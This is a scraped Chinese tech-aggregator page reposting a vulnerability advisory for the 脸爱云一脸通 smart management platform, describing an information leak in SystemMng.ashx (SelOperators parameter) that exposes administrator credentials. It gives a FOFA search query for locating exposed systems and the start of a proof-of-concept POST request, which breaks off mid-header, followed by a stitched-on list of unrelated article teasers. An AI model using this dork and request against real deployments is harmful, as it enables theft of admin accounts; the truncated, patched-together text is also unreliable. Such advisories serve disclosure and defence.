当前位置：首页 > news >正文

脸爱云一脸通智慧管理平台 SystemMng 管理用户信息泄露漏洞(XVE-2024-9382)

news 文章来源：https://blog.csdn.net/qq_41904294/article/details/138377889 2024/10/23 21:34:00

0x01 产品简介

脸爱云一脸通智慧管理平台是一套功能强大，运行稳定，操作简单方便，用户界面美观，轻松统计数据的一脸通系统。无需安装，只需在后台配置即可在浏览器登录。

功能包括：系统管理中心、人员信息管理中心、设备管理中心、消费管理子系统、订餐管理子系统、水控管理子系统、电控管理子系统、考勤管理子系统、门禁通道管理子系统、会议签到管理子系统、访客管理子系统。

0x02 漏洞概述

脸爱云一脸通智慧管理平台存在信息泄露漏洞，该漏洞源于SystemMng.ashx接口处存在信息泄露漏洞，攻击者能够利用该漏洞通过SelOperators参数泄露的当前管理员的敏感信息包括账号密码登录系统后台。

0x03 复现环境

FOFA：body="View/UserReserved/UserReservedTest.aspx"

0x04 复现环境

PoC

POST /SystemMng.ashx HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept

脸爱云一脸通智慧管理平台 SystemMng 管理用户信息泄露漏洞(XVE-2024-9382)

0x01 产品简介脸爱云一脸通智慧管理平台是一套功能强大，运行稳定，操作简单方便，用户界面美观，轻松统计数据的一脸通系统。无需安装，只需在后台配置即可在浏览器登录。功能包括：系统管理中心、人员信息管理中心、设备管理中心、消费管理子系统、订餐管理子系统、水控管…...

编程日记 2024/5/6 20:30:13

spring笔记2

一、基于xml的AOP实现基于注解管理Bean，注解扫描 <context:component-scan base-package"com.zhou.spring.aop.xml"></context:component-scan><aop:config> <aop:pointcut id&q…...

编程日记 2024/5/6 20:29:11

【挑战30天首通《谷粒商城》】-【第一天】02、简介-项目整体效果展示

文章目录课程介绍 ( 本章了解即可，可以略过)一、分布式基础 (全栈开发篇) (初中级)二、分布式高级 (微服务架构篇) ( 高级)三、高可用集群 (架构师提升篇)( 架构 ) one more thing 课程介绍 ( 本章了解即可，可以略过) 1.分布式基础(全栈开发篇)2.分布…...

编程日记 2024/5/6 20:25:59

Kafka 生产者应用解析

目录 1、生产者消息发送流程 1.1、发送原理 2、异步发送 API 2.1、普通异步发送 2.2、带回调函数的异步发送 3、同步发送 API 4、生产者分区 4.1、分区的优势 4.2、生产者发送消息的分区策略示例1：将数据发往指定 partition 示例2：有 key 的…...

编程日记 2024/5/6 20:22:54

GEE错误——image.reduceRegion is not a function

简介 image.reduceRegion is not a function 这里的主要问题是我们进行地统计分析的时候，我们的作用对象必须是单景影像，而不是影像集合错误"image.reduceRegion is not a function" 表示你正在尝试使用reduceRegion()函数来处理图像数据&…...

编程日记 2024/5/6 20:21:53

rk356x 关于yocto编译linux及bitbake实用方法

Yocto 完整编译 source oe-init-build-envbitbake core-image-minimalYocto 查询包名 bitbake -s | grep XXX // 获取rockchip相关包 :~/rk3568/yocto$ bitbake -s | grep rockchip android-tools-conf-rockchip :1.0-r0 gstreamer1.0-rockchip …...

编程日记 2024/5/6 20:20:52

Chrome您的连接不是私密连接｜输入“thisisunsafe”命令绕过警告or添加启动参数

一、输入 thisisunsafe 在当前页面用键盘输入 thisisunsafe ，不是在地址栏输入(切记)，就直接敲键盘就行了因为Chrome不信任这些自签名ssl证书，为了安全起见，直接禁止访问了，thisisunsafe 这个命令，说明你…...

编程日记 2024/5/6 20:19:50

牛客面试前端1

HTML语义化是什么前端语义化是指在构建网页时多使用html语义化标签布局，多使用带有语义的标签如header，aside，footer等标签为什么结构清晰利于开发者开发与维护有利于seo搜索引擎优化有利于在网络卡顿时，正常显示页面结构&a…...

编程日记 2024/5/6 20:17:47

Linux的软件包管理器-yum

文章目录软件包的概念yum源的配置的原因yum的使用查看软件包安装软件卸载软件软件包的概念软件包(SoftWare Package)是指具有特定的功能，用来完成特定任务的一个程序或一组程序。可分为应用软件包和系统软件包两大类在Linux系统中，下载安装软件的方式…...

编程日记 2024/5/6 20:15:43

选择排序（Selection Sort）

选择排序（Selection Sort）是一种简单直观的排序算法。它的工作原理如下：遍历数组：从待排序的数列中，找到当前未排序部分（即整个数组或已排序部分之后的部分）中的最小（或最大，取决于排序方式）元素。交换位置：将找到的最小元素与未排序部分的第一个元素交换位置，这…...

编程日记 2024/5/6 20:14:41

网络面试题目

1、BGP报文有哪些？有5种报文，Open、 Update、 Notification、 Keepalive和 Route-refresh等5种报文类型。 2、Vxlan了解多少？ VLAN作为传统的网络隔离技术，VXLAN完美地弥补了VLAN的上述不足。 VXLAN（Virtual eXtensible Local Area Network，虚拟扩展局域网），（VXL…...

编程日记 2024/5/6 20:13:40

Web,Sip,Rtsp,Rtmp,WebRtc,专业MCU融屏视频混流会议直播方案分析

随着万物互联，视频会议直播互动深入业务各方面，主流SFU并不适合管理，很多业务需要各种监控终端，互动SIP硬件设备，Web在线业务平台能相互融合，互联互通， 视频混流直播，录存直播推广&a…...

编程日记 2024/5/6 20:12:38

Unreal 编辑器工具批量重命名资源

右键 - Editor Utilities - Editor Utility Blueprint，基类选择 Asset Action Utility 在类默认值内，可以添加筛选器，筛选指定的类型然后新建一个函数，加上4个输入：ReplaceFrom，ReplaceTo，Add…...

编程日记 2024/5/6 20:10:36

Voice Conversion、DreamScene、X-SLAM、Panoptic-SLAM、DiffMap、TinySeg

本文首发于公众号：机器感知 Voice Conversion、DreamScene、X-SLAM、Panoptic-SLAM、DiffMap、TinySeg Converting Anyones Voice: End-to-End Expressive Voice Conversion with a Conditional Diffusion Model Expressive voice conversion (VC) conducts speak…...

编程日记 2024/5/6 20:08:34

短信群发平台分析短信群发的未来发展趋势

短信群发平台在当前的移动互联网时代已经展现出了其独特的价值和广泛的应用场景。随着技术的不断进步和市场的不断变化，短信群发的未来发展趋势也将呈现出一些新的特点。首先，随着5G网络的推广和普及，短信群发的速度和稳定性将得到进一步提…...

编程日记 2024/5/6 20:07:32

supervisord 使用指南

supervisord 使用指南 supervisord的安装 supervisor是一系列python脚本文件，以python package的形式管理，可以用于UNIX类系统的进程管理。安装supervisor也相当简单，只需要用pip安装即可。 sudo pip install supervisor但是有可能将其安…...

编程日记 2024/5/6 20:06:28

AngularJS 的生命周期和基础语法

AngularJS 的生命周期和基础语法文章目录 AngularJS 的生命周期和基础语法1. 使用步骤2. 生命周期钩子函数3. 点击事件4. if 语句1. if 形式2. if else 形式 5. for 语句6. switch 语句7. 双向数据绑定 1. 使用步骤 // 1. 要使用哪个钩子函数，就先引入 import { O…...

编程日记 2024/5/6 20:05:27

docker-compose 网络

自定义网络 - HOST 与宿主机共享网络 version: "3" services:web:image: nginx:1.21.6restart: alwaysports:- 80:80network_mode: host自定义网络 - 固定ip version: "3" services:web:image: nginx:1.21.6restart: alwaysports:- 80:80networks:app&am…...

编程日记 2024/5/6 20:03:24

农药生产厂污废水如何处理达标

农药生产厂的污废水处理是确保该行业对环境的负面影响最小化的重要环节。下面是一些常见的处理方法和步骤，可以帮助农药生产厂的污废水达到排放标准： 预处理：将废水进行初步处理，去除大颗粒悬浮物和固体残渣。这可以通过筛网、沉淀…...

编程日记 2024/5/6 20:02:23

根据相同的key 取出数组中最后一个值

数组中有很多对象 , 需根据当前页面的值current 和数组中的key对比拿到返回值数据结构如下之前写法 const clickedItem routeList.find(item > item.key current) // current是当前页用reduce遍历数组返回最后一个值 const clickedItem routeList.reduce((lastIte…...

编程日记 2024/5/6 20:01:22

Github Action Bot 开发教程

Github Action Bot 开发教程在使用 Github 时，你可能在一些著名的开源项目，例如 Kubernetes，Istio 中看到如下的一些评论： /lgtm /retest /area bug /assign xxxx ...等等，诸如此类的一些功能性评论。在这些评论出现…...

编程日记 2024/5/6 19:59:19

使用docker创建rocketMQ主从结构，使用

1、创建目录 mkdir -p /docker/rocketmq/logs/nameserver-a mkdir -p /docker/rocketmq/logs/nameserver-b mkdir -p /docker/rocketmq/logs/broker-a mkdir -p /docker/rocketmq/logs/broker-b mkdir -p /docker/rocketmq/store/broker-a mkdir -p /docker/rocketmq/store/b…...

编程日记 2024/5/6 19:58:17

0x01 产品简介

0x02 漏洞概述

0x03 复现环境

0x04 复现环境

相关文章：